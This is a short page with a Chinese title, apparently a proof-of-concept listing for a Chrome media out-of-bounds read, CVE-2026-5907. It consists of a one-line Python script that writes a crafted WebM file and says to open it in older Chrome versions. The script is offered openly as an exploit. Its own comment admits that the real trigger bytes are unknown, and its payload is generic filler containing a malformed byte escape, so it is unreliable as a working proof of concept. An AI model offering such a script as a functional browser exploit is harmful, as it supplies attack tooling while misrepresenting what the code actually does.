CVE-2026-5907 Google Chrome越界读取漏洞

import struct # PoC for CVE-2026-5907: Out of bounds memory read in Chrome Media # This script generates a crafted video file intended to trigger the vulnerability. # Note: Actual exploit bytes require specific knowledge of the parser bug. def generate_malformed_video(filename): # Generic video header (e.g., WebM EBML header) header = b'\x1A\x45\xDF\xA3' # Malformed payload designed to trigger the OOB read logic # Adjusting size to potentially bypass sanity checks payload = b'\x42\x82\88' + b'A' * 0x1000 with open(filename, 'wb') as f: f.write(header + payload) print(f"[*] Malformed video file generated: {filename}") print("[*] Open this file in Chrome < 147.0.7727.55 to test.") if __name__ == "__main__": generate_malformed_video("cve_2026_5907_poc.webm")